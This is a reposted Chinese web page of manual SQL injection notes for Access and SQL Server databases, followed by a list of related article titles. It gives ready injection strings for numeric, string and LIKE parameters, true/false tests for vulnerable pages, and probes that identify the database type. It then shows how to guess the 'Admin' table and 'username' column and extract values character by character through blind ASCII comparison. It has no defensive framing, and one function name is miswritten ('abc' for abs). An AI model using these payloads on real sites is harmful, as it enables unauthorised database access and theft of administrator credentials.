手工注入笔记
来源:互联网 发布:阿里国际站产品优化 编辑:程序博客网 时间:2024/04/30 00:00
手工注入笔记:
_________________________________________________________________________________
注入参数类型:
[1]. ID=68
注入参数为数字型.
SQL语句原貌: Select * from 表名 where 字段=68
注入的参数: ID=68 And [查询条件],
即生成语句: Select * from 表名 where 字段=68 And [查询条件]
[2]. Class=连续剧
注入参数为字符型.
SQL语句原貌: Select * from 表名 where 字段='连续剧'
注入的参数: Class=连续剧 'and [查询条件] and ''=',
即生成语句: Select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
[3]. keyword=关键字
SQL语句原貌: Select * from 表名 where 字段like '%关键字%'
注入的参数: keyword=' and [查询条件] and '%25'=',
即生成语句: Select * from 表名 where字段like '%' and [查询条件] and '%'='%'
_________________________________________________________________________________
判断注入漏洞:
[1]. 单引号'
[2]. 语句and 1=1
[3]. 语句and 1=2
说明:
若[1]产生错误,[2]返回正常,[3]返回错误则说明存在注入漏洞
_________________________________________________________________________________
判断数据库类型:
[1]. and (select count(*) from sysobjects)>0
[2]. and (select count(*) from msysobjects)>0
说明:
[1]反应正常则是SQL数据库,[1][2]都不正常说明是Access数据库
_________________________________________________________________________________
猜解表名:
[*]. And (Select Count(*) from Admin)>=0
说明:
如果页面返回正常,说明附加条件成立,即表Admin存在. 反之,则表Admin不存在.
_________________________________________________________________________________
猜解字段:
[*]. And (Select Count(username) from Admin)>=0
说明:
如果页面返回正常,说明附加条件成立,即表Admin中字段username存在. 反之,则字段username不存在.
如果是SQLServer的库,我们可以通过提交些特殊字符来得到相关的表名和字段.
_________________________________________________________________________________
猜解字段的值[Ascii逐字解码法]:
[1]. and (select top 1 len(username) from Admin)>0
[2]. and (select top 1 asc(mid(username,N,1)) from Admin)>0
说明:
[1]用于猜解表Admin中字段username的长度
[2]用于猜解表Admin中字段username的第N位ASCII值
_________________________________________________________________________________
常用SQL注入函数:
[1]. Access: asc(字符)
SQLServer: unicode(字符)
[2]. Access: chr(数字)
SQLServer: nchar(数字)
[3]. Access: mid(字符串, N, L)
SQLServer: substring(字符串,N, L)
[4]. Access: abc(数字)
SQLServer: abc(数字)
[5]. Access: A between B And C
SQLServer: A between B And C
说明:
[1]: 返回某字符的ASCII码
[2]: 与asc相反,根据ASCII码返回字符
[3]: 返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
[4]: 返回数字的绝对值[在猜解汉字的时候会用到]
[5]: 判断A是否界于B与C之间
_________________________________________________________________________________
- 手工注入笔记
- PHP手工注入笔记
- ACCESS手工注入学习笔记
- SQL server手工注入学习笔记
- 手工注入
- 手工注入
- 手工注入
- SQL注入中的一些原理笔记(手工注入)
- 黑客注入之手工注入
- SQL注入(手工注入)
- 手工检测可否注入
- 手工SQL注入教程
- JSP手工注入
- ASP+acc手工注入
- 手工注入摘记
- 手工SQL注入入侵
- sql手工注入
- 手工php注入总结
- 复合数据类型
- Useful Phrase series-I
- Java入门之资源
- 动网又开始买.Net源代码
- NUnit 单元测试实例场景(为什么要进行单元测试)
- 手工注入笔记
- jsp 设计
- 由字符串建立二叉树
- 如何安装WinCE6.0
- 从0到J2EE -- Java 学习历程
- WinCE Boot方式及 Bootloader架构概述
- jscalendar 1.0 初探!
- 积累线程实例
- [2008-10-28]发布 DBATools For PL/SQL Developer 0.7.0.0版